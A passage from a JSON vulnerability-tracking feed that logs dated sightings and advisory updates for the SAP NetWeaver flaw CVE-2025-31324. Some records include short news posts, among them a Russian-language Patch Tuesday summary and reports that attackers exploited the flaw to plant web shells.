"https://t.me/MalaysiaHacktivistz/4094"}, {"timestamp": "2025-05-13T18:04:13Z", "date_only": false, "value": "2025-05-13T18:04:13.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/TengkorakCyberCrewzz/30933", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "19dfef7e-d2b3-44aa-a01d-787c8f969ce1", "content": "China-Linked APTs Exploit SAP CVE-2025-31324 to Breach 581 Critical Systems Worldwide \u2013 thehackernews.com\n\nTue, 13 May 2025 23:13:00", "url": "https://t.me/TengkorakCyberCrewzz/30933"}, {"timestamp": "2025-05-13T19:03:39Z", "date_only": false, "value": "2025-05-13T19:03:39.000000Z", "kind": "sighting", "label": "Exploited", "source": "Telegram/QxAnZlL4SJ3sHJt77_K74kMPxYRe1bSE2vaEQWfIES9y7Q", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "165d0461-2746-4175-a5a4-b92581ad513d"}, {"timestamp": "2025-05-13T22:00:00Z", "date_only": false, "value": "2025-05-13T22:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2025-1002", "record": "WID-SEC-W-2025-1002", "field": "document.tracking.revision_history.1.date"}, {"timestamp": "2025-05-13T22:00:00Z", "date_only": false, "value": "2025-05-13T22:00:00.000+00:00", "kind": "other", "label": "Updated", "source": "csaf_certbund \u00b7 WID-SEC-W-2025-1002", "record": "WID-SEC-W-2025-1002", "field": "document.tracking.current_release_date"}, {"timestamp": "2025-05-13T23:54:10.330Z", "date_only": false, "value": "2025-05-13T23:54:10.330697Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/youranonriots.bsky.social/post/3lp3omwaq3k2x", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "2fbdafaf-6882-4234-a505-dce23185e0a8", "url": "https://bsky.app/profile/youranonriots.bsky.social/post/3lp3omwaq3k2x"}, {"timestamp": "2025-05-14T00:00:00Z", "date_only": false, "value": "2025-05-14T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-14)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "ad6a4a66-0af4-4bd5-8b42-88b1db8c090e"}, {"timestamp": "2025-05-14T00:05:22.494Z", "date_only": false, "value": "2025-05-14T00:05:22.494854Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/hackingne.ws/post/3lp3pb3q2j62g", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "83279512-8ee0-4a58-ad8e-681801e1e774", "url": "https://bsky.app/profile/hackingne.ws/post/3lp3pb3q2j62g"}, {"timestamp": "2025-05-14T02:17:22.834Z", "date_only": false, "value": "2025-05-14T02:17:22.834649Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3lp3wn5crqf2b", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "bdf8377c-3143-4ac1-8d9e-78c88ed57524", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3lp3wn5crqf2b"}, {"timestamp": "2025-05-14T04:16:20Z", "date_only": false, "value": "2025-05-14T04:16:20.000000Z", "kind": "sighting", "label": "Exploited", "source": "Telegram/d81_3MOjKResfjsZAGTJcp81QYLcu2B0jOoFH7yvL0YOgw", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "2969ac87-4c7e-42d4-b95d-247d641d035f"}, {"timestamp": "2025-05-14T05:54:12.929Z", "date_only": false, "value": "2025-05-14T05:54:12.929309Z", "kind": "sighting", "label": "Exploited", "source": "https://blog.eclecticiq.com/china-nexus-nation-state-actors-exploit-sap-netweaver-cve-2025-31324-to-target-critical-infrastructures", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "7a7b91b3-9716-4250-961f-38f143b4827c", "url": "https://blog.eclecticiq.com/china-nexus-nation-state-actors-exploit-sap-netweaver-cve-2025-31324-to-target-critical-infrastructures"}, {"timestamp": "2025-05-14T06:00:50.347Z", "date_only": false, "value": "2025-05-14T06:00:50.347414Z", "kind": "sighting", "label": "Seen", "source": "https://www.rapid7.com/blog/post/2025/04/28/etr-active-exploitation-of-sap-netweaver-visual-composer-cve-2025-31324/", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "11bf3039-22df-4474-b01e-a0239e039715", "url": "https://www.rapid7.com/blog/post/2025/04/28/etr-active-exploitation-of-sap-netweaver-visual-composer-cve-2025-31324/"}, {"timestamp": "2025-05-14T07:44:55.178Z", "date_only": false, "value": "2025-05-14T07:44:55.178723Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/technijian.bsky.social/post/3lp4iwrm6gk2w", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "ac43cec9-2440-421d-9586-d4aed96d41f5", "url": "https://bsky.app/profile/technijian.bsky.social/post/3lp4iwrm6gk2w"}, {"timestamp": "2025-05-14T08:03:52.848Z", "date_only": false, "value": "2025-05-14T08:03:52.848935Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lp4jxcfgtgc2", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "b07037ce-7a00-40cd-b727-a6b1fb20aa9c", "url": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lp4jxcfgtgc2"}, {"timestamp": "2025-05-14T08:36:25Z", "date_only": false, "value": "2025-05-14T08:36:25.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/kasperskyb2b/1734", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "55897333-97a9-44e2-84af-16ac9b034b7d", "content": "\ud83d\udc40 \u0417\u0430 \u0432\u0442\u043e\u0440\u043d\u0438\u043a \u043d\u0435 \u0443\u043f\u0440\u0430\u0432\u0438\u043c\u0441\u044f. \u041e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u043c Patch Week!\n\n\u0422\u0440\u0430\u0434\u0438\u0446\u0438\u043e\u043d\u043d\u044b\u043c  \u043f\u0430\u0442\u0447\u0438\u043d\u0433\u043e\u043c \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 Microsoft \u043f\u043e\u0441\u043b\u0435 \u0432\u0442\u043e\u0440\u043e\u0433\u043e \u0432\u0442\u043e\u0440\u043d\u0438\u043a\u0430 \u043c\u0435\u0441\u044f\u0446\u0430 \u043d\u0430\u043c \u043d\u0435 \u043e\u0431\u043e\u0439\u0442\u0438\u0441\u044c \u2014 \u0437\u0430\u043a\u0440\u044b\u0442\u044c \u0437\u0438\u0440\u043e\u0434\u0435\u0438 \u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0434\u0435\u0444\u0435\u043a\u0442\u044b \u043f\u043e\u0441\u043f\u0435\u0448\u0438\u043b\u0438 \u043c\u043d\u043e\u0433\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u0438 \u041f\u041e \u0434\u043b\u044f \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f Microsoft, Fortinet, SAP, Adobe, \u0438 \u043a\u043e\u043d\u0435\u0447\u043d\u043e Ivanti. \n\n\ud83d\udcbb \u0420\u0435\u0434\u043c\u043e\u043d\u0434 \u0432\u044b\u043a\u0430\u0442\u0438\u043b 72 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u044f (\u0435\u0441\u043b\u0438 \u043d\u0435 \u0441\u0447\u0438\u0442\u0430\u0442\u044c Azure \u0438 Chromium), \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u0432 5 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0437\u0438\u0440\u043e\u0434\u0435\u0435\u0432 \u0438 2 \u0431\u0430\u0433\u0430, \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0451\u043d\u043d\u044b\u0445 \u0434\u043e \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 Microsoft.  \n\n\u0418\u0437 72 \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432, 6 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c\u0438 (\u0432 \u0442.\u0447. RCE \u0432 Office \u0438 Remote desktop client), \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u2014 \u0432\u0430\u0436\u043d\u044b\u043c\u0438. \u0412\u0441\u0435\u0433\u043e 28 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0442 \u043a RCE, 17 \u2014 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044e \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, 15 \u2014 \u043a \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, 7 \u2014 \u043a DoS, 2 \u2014 \u043e\u0431\u0445\u043e\u0434\u0443 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0435 \u0437\u0438\u0440\u043e\u0434\u0435\u0438:\nCVE-2025-30397 (CVSS3 7.5) \u2014 RCE \u0432 Scripting Engine \u0438\u0437-\u0437\u0430 \u043f\u043e\u0432\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f \u043f\u0430\u043c\u044f\u0442\u0438, \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0438\u0437 \u0440\u0435\u0436\u0438\u043c\u0430 Internet Explorer  \u0432 Edge. \u0423\u043c\u0435\u0440, \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0435, \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u043b\u0438, \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0435. \u0416\u0435\u0440\u0442\u0432\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u043a\u043b\u0438\u043a\u043d\u0443\u0442\u044c \u043d\u0430 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u0443\u044e \u0441\u0441\u044b\u043b\u043a\u0443 \u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435.\n\nCVE-2025-32701 \u0438 -32706 (7.8) \u2014 \u043f\u0430\u0440\u0430 EoP \u0447\u0435\u0440\u0435\u0437 \u0440\u0435\u0448\u0435\u0442\u043e \u0434\u0440\u0430\u0439\u0432\u0435\u0440 CLFS. \u041f\u0440\u043e\u0448\u043b\u044b\u0435 \u0434\u0435\u0444\u0435\u043a\u0442\u044b \u0442\u0430\u043a\u043e\u0433\u043e \u0440\u043e\u0434\u0430 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0431\u0430\u043d\u0434\u0430\u043c\u0438 ransomware.\n\nCVE-2025-32709 (7.8) \u2014 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0447\u0435\u0440\u0435\u0437 Windows Ancillary Function Driver for Winsock, \u043f\u043e\u0445\u043e\u0436\u0438\u0439 \u0434\u0435\u0444\u0435\u043a\u0442 \u043c\u044b \u0443\u0436\u0435 \u0432\u0438\u0434\u0435\u043b\u0438 \u0432 \u0444\u0435\u0432\u0440\u0430\u043b\u0435.\n\nCVE-2025-30400 (7.8) \u2014 \u0442\u043e\u0436\u0435 EoP, \u043d\u043e \u0447\u0435\u0440\u0435\u0437 DWM Core Library.\n\n\u041e \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u044d\u0442\u0438\u0445 \u0431\u0430\u0433\u043e\u0432 Microsoft \u0442\u0440\u0430\u0434\u0438\u0446\u0438\u043e\u043d\u043d\u043e \u043d\u0435 \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442.\n\n\u0421\u0440\u0435\u0434\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043e\u0431\u0440\u0430\u0442\u0438\u043c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u043f\u0430\u0440\u0443 RCE \u0432 RDP Client (CVE-2025-29966 \u0438 -29967) \u0438 \u043f\u0430\u0440\u0443 RCE \u0432 Office (CVE-2025-30377 \u0438 -30386). \u0425\u043e\u0442\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u043e\u0446\u0435\u043d\u0438\u0432\u0430\u0435\u0442 \u0448\u0430\u043d\u0441\u044b \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043d\u0435\u0432\u044b\u0441\u043e\u043a\u043e, \u0445\u043e\u0440\u043e\u0448\u043e \u0437\u043d\u0430\u043a\u043e\u043c\u044b\u0435 \u0438\u0437 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0438 \u0432\u0435\u043a\u0442\u043e\u0440\u044b \u0430\u0442\u0430\u043a (\u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442, \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u044e\u0449\u0438\u0439 \u0434\u0430\u0436\u0435 \u0438\u0437 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430, \u0438 \u0442.\u043f.) \u0437\u0430\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u043f\u043e\u0442\u043e\u0440\u043e\u043f\u0438\u0442\u044c\u0441\u044f \u0441 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f\u043c\u0438.\n\n\ud83d\udd0e Fortinet \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0437\u0438\u0440\u043e\u0434\u0435\u0439 CVE-2025-32756 \u0441\u043e \u0441\u043a\u0440\u043e\u043c\u043d\u044b\u043c CVSS 9.6. \u041a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u043b\u043e \u043a RCE, \u0438 \u0445\u043e\u0442\u044f \u0440\u0435\u0430\u043b\u044c\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0431\u044b\u043b\u0430 \u043e\u0442\u043c\u0435\u0447\u0435\u043d\u0430 \u0432 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u044d\u043a\u0437\u043e\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u043c FortiVoice, \u0440\u043e\u0432\u043d\u043e \u0442\u043e\u0442 \u0436\u0435 \u0434\u0435\u0444\u0435\u043a\u0442 \u0435\u0441\u0442\u044c \u0432  FortiMail, FortiNDR, FortiRecorder \u0438 FortiCamera, \u0447\u0442\u043e \u0443\u0436\u0435 \u0433\u043e\u0440\u0430\u0437\u0434\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u0435\u0435. \n\u0412 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u044b \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0430\u0442\u0447\u0438, \u043d\u043e \u0438 IoC \u0438\u0437 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u043e\u0432. \u0412 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0441\u043c\u044f\u0433\u0447\u0430\u044e\u0449\u0435\u0439 \u043c\u0435\u0440\u044b \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u043e\u0432\u0430\u043d\u043e \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0432\u0435\u0431-\u043a\u043e\u043d\u0441\u043e\u043b\u044c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f.\n\n\ud83c\udd70\ufe0f Adobe \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 13 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u0435\u0439 \u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 40 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445, \u0432\u043a\u043b\u044e\u0447\u0430\u044f ColdFusion. Lightroom, InDesign, Photoshop. \u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0440\u043e\u0447\u043d\u044b\u043c\u0438 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f 8 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 ColdFusion, 6 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0438\u043c\u0435\u044e\u0442 CVSS 9.1 \u0438 \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0442 \u043a \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044e \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 (\u043f\u043e\u043a\u0430) \u043d\u0435 \u0437\u0430\u043c\u0435\u0447\u0435\u043d\u043e.\n\n\u2699\ufe0f SAP \u0442\u0435\u043c \u0432\u0440\u0435\u043c\u0435\u043d\u0435\u043c \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043f\u0430\u0440\u043d\u044b\u0439 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u044c, \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0449\u0438\u0439 \u0432\u0442\u043e\u0440\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 NetWeaver, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0442\u043e\u0436\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0432 \u0430\u0442\u0430\u043a\u0430\u0445. CVE-2025-42999 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0435\u0439 \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0432 \u043e\u0434\u043d\u043e\u0439 \u0446\u0435\u043f\u043e\u0447\u043a\u0435 \u0441 \u0440\u0430\u043d\u0435\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0451\u043d\u043d\u043e\u0439 CVE-2025-31324.\n\n\ud83d\udcac Ivanti \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0434\u0432\u0430 \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u0434\u0435\u0444\u0435\u043a\u0442\u0430 \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0435 EPMM (CVE-2025-4427 \u0438 -4428), \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0449\u0438\u0445 \u043a RCE \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. \u0414\u0440\u0443\u0433\u0438\u043c \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u0435\u043c \u0437\u0430\u043a\u0440\u044b\u0442\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2025-22462 \u0432 Ivanti Neurons for ITSM (on-prem)  \u0441 CVSS 9.8, \u043a\u043e\u0442\u043e\u0440\u0430\u044f (\u043f\u043e\u043a\u0430) \u043d\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f.\n\n\u0423\u0434\u0430\u0447\u043d\u043e\u0433\u043e \u0432\u0441\u0435\u043c \u043f\u0430\u0442\u0447\u0438\u043d\u0433\u0430!\n\n#\u043d\u043e\u0432\u043e\u0441\u0442\u0438 #\u043f\u0430\u0442\u0447\u0438 @\u041f2\u0422", "url": "https://t.me/kasperskyb2b/1734"}, {"timestamp": "2025-05-14T10:51:28.276Z", "date_only": false, "value": "2025-05-14T10:51:28.276301Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3lp4teeyvu22c", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "8ff1971c-0c03-419c-8b8b-5010fce87fd6", "url": "https://bsky.app/profile/hacker.at.thenote.app/post/3lp4teeyvu22c"}, {"timestamp": "2025-05-14T11:04:22.554Z", "date_only": false, "value": "2025-05-14T11:04:22.554374Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lp4tzzvamcp2", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "384fbe5f-0e14-4689-b464-25416508577b", "url": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lp4tzzvamcp2"}, {"timestamp": "2025-05-14T11:09:16.905Z", "date_only": false, "value": "2025-05-14T11:09:16.905+00:00", "kind": "other", "label": "Document generated", "source": "csaf_certbund \u00b7 WID-SEC-W-2025-1002", "record": "WID-SEC-W-2025-1002", "field": "document.tracking.generator.date"}, {"timestamp": "2025-05-14T11:12:44.601Z", "date_only": false, "value": "2025-05-14T11:12:44.601171Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/780thmibdecyber.bsky.social/post/3lp4uketjl22g", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "ea59e248-e21f-4969-94f9-8337d43640a4", "url": "https://bsky.app/profile/780thmibdecyber.bsky.social/post/3lp4uketjl22g"}, {"timestamp": "2025-05-14T11:16:40.342Z", "date_only": false, "value": "2025-05-14T11:16:40.342248Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/780thmibdecyber.bsky.social/post/3lp4urfvfjs2g", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "34618808-615a-484a-90a4-3dc4c2c27975", "url": "https://bsky.app/profile/780thmibdecyber.bsky.social/post/3lp4urfvfjs2g"}, {"timestamp": "2025-05-14T11:36:43Z", "date_only": false, "value": "2025-05-14T11:36:43.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/CyberBulletin/3261", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "e7f4e698-b4e7-45fa-ab56-61095b520afe", "content": "\u26a1\ufe0fChina-Linked APTs Exploit SAP CVE-2025-31324 to Breach 581 Critical Systems Worldwide.\n\n#CyberBulletin", "url": "https://t.me/CyberBulletin/3261"}, {"timestamp": "2025-05-14T12:02:22.573Z", "date_only": false, "value": "2025-05-14T12:02:22.573451Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/lordman1982.bsky.social/post/3lp4xd6n2sj2i", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "88bb554c-236f-4562-9c1b-fe6bef8d2626", "url": "https://bsky.app/profile/lordman1982.bsky.social/post/3lp4xd6n2sj2i"}, {"timestamp": "2025-05-14T12:30:05Z", "date_only": false, "value": "2025-05-14T12:30:05.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/true_secator/7029", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "1c27051b-5601-4d79-805d-35aa6b197059", "content": "SAP \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0432\u0442\u043e\u0440\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0432 \u043d\u0435\u0434\u0430\u0432\u043d\u0438\u0445 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u044b SAP NetWeaver \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 0-day.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043d\u043e\u0432\u043e\u0439 CVE-2025-42999 \u0432 \u043f\u043e\u043d\u0435\u0434\u0435\u043b\u044c\u043d\u0438\u043a, \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u043e\u043d\u0430 \u0432\u0441\u043a\u0440\u044b\u043b\u0430\u0441\u044c \u0432 \u0445\u043e\u0434\u0435 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f 0-day \u0430\u0442\u0430\u043a, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u0434\u0440\u0443\u0433\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 (CVE-2025-31324) \u0432 SAP NetWeaver Visual Composer, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0432 \u0430\u043f\u0440\u0435\u043b\u0435.\n\nReliaQuest \u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u0430\u0442\u0430\u043a\u0438, \u043e\u0440\u0438\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 CVE-2025-31324 \u0435\u0449\u0435 \u0432 \u0430\u043f\u0440\u0435\u043b\u0435.\n\n\u0422\u043e\u0433\u0434\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u043b\u0438 \u0432\u0435\u0431-\u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438 JSP \u0432 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0438 \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 Brute Ratel red team 